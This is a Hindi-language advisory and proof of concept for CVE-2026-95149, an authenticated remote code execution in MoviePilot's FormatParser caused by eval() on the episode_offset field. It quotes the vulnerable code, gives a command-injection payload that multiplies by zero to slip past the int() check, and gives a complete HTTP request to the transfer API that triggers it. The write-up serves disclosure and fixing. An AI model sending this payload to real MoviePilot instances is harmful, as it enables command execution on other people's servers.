
CVE-2026-95149 के लिए प्रूफ-ऑफ-कॉन्सेप्ट और रूट-कॉज़ विश्लेषण, जो MoviePilot के FormatParser में episode_offset में eval() इंजेक्शन के माध्यम से एक प्रमाणित RCE है, HTTP PoC और फ़िक्स विवरण के साथ।
episode_offset में eval() इंजेक्शन के माध्यम से प्रमाणित RCE (MoviePilot FormatParser)| फ़ील्ड | मान |
|---|---|
| CVE ID | CVE-2026-95149 |
| उत्पाद | MoviePilot (jxxghp/MoviePilot) |
| प्रभावित संस्करण | <= v3.0.0 |
| इसमें ठीक किया गया | v3 शाखा — कमिट 65b9c777de9194e40ba29dc17345afc5b4b4b0ba |
| गंभीरता | उच्च |
| हमले का वेक्टर | रिमोट, HTTP API के माध्यम से |
| आवश्यक विशेषाधिकार | प्रमाणित प्रबंधन उपयोगकर्ता (एडमिन या प्रबंधन-भूमिका वाला खाता) |
| उपयोगकर्ता इंटरैक्शन | कोई नहीं |
| रिपोर्ट किया गया | 2026-09-11 |
| सार्वजनिक इश्यू | jxxghp/MoviePilot#6644 |
FormatParser एक मनमाना स्ट्रिंग स्वीकार करता है और केवल इस आधार पर शाखा बनाता है कि उसमें "EP" है या नहीं — यह कभी
सत्यापित नहीं करता कि स्ट्रिंग का शेष भाग एक सुगठित अंकगणितीय व्यंजक है:
elif "EP" in offset:
self.__offset = offset
इसके बाद कई डाउनस्ट्रीम शाखाएँ पाठ्य प्रतिस्थापन द्वारा एक Python व्यंजक बनाती हैं और उसका सीधे मूल्यांकन करती हैं:
start_ep = self.__offset.replace("EP", str(self._start_ep))
return int(eval(start_ep)), None, self.part
int(...) रैपर केवल व्यंजक के वापसी मान को सीमित करता है; यह मूल्यांकन के दौरान होने वाले दुष्प्रभावों को नहीं रोकता।
इसलिए पेलोड में अंतर्निहित कोई भी फ़ंक्शन कॉल, इम्पोर्ट या एट्रिब्यूट एक्सेस अंतिम मान को int में परिवर्तित किए जाने
से पहले निष्पादित हो जाता है।
एक सामान्य शमन प्रयास पेलोड को शून्य से गुणा करना है ताकि अंकगणितीय परिणाम संख्यात्मक बना रहे:
EP+__import__('os').system('touch /tmp/success')*0
यह अभी भी काम करता है। दुष्प्रभाव (कमांड का निष्पादन) मूल्यांकन के दौरान ही हो जाता है, अंतिम जोड़ को int में
परिवर्तित किए जाने से बहुत पहले, इसलिए हमलावर के पास कमांड निष्पादन और एक ऐसा मान दोनों होते हैं जो
int() प्रकार जाँच को पास कर लेता है।
POST /api/v1/transfer/manual?background=false HTTP/1.1
Host: x.x.x.x
Content-Length: 814
X-MoviePilot-Locale: zh-CN
Authorization: Bearer XXXX
Accept-Language: zh-CN
Accept: application/json, text/plain, */*
DNT: 1
Content-Type: application/json
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/153.0.0.0 Safari/537.36
Accept-Encoding: gzip, deflate, br
{
"fileitem": {
"storage": "local",
"path": "/configured/media/file.mkv",
"type": "file",
"name": "file.mkv"
},
"episode_offset": "EP+__import__('os').system('touch /tmp/success')*0"
}
किसी असुरक्षित इंस्टेंस पर, /tmp/success MoviePilot सेवा प्रक्रिया द्वारा बनाई जाती है। यदि API कॉल 200 नहीं लौटाता,
तो int() कास्ट त्रुटि उत्पन्न करेगा — लेकिन इंजेक्ट किया गया कमांड पहले ही चल चुका होता है, इसलिए अनुरोध का
परिणाम शोषण के लिए अप्रासंगिक है।
app/application/formatting.py (v3.0.0 में पंक्तियाँ 102 और 184)app/api/endpoints/transfer.py:645 → app/schemas/transfer.py:302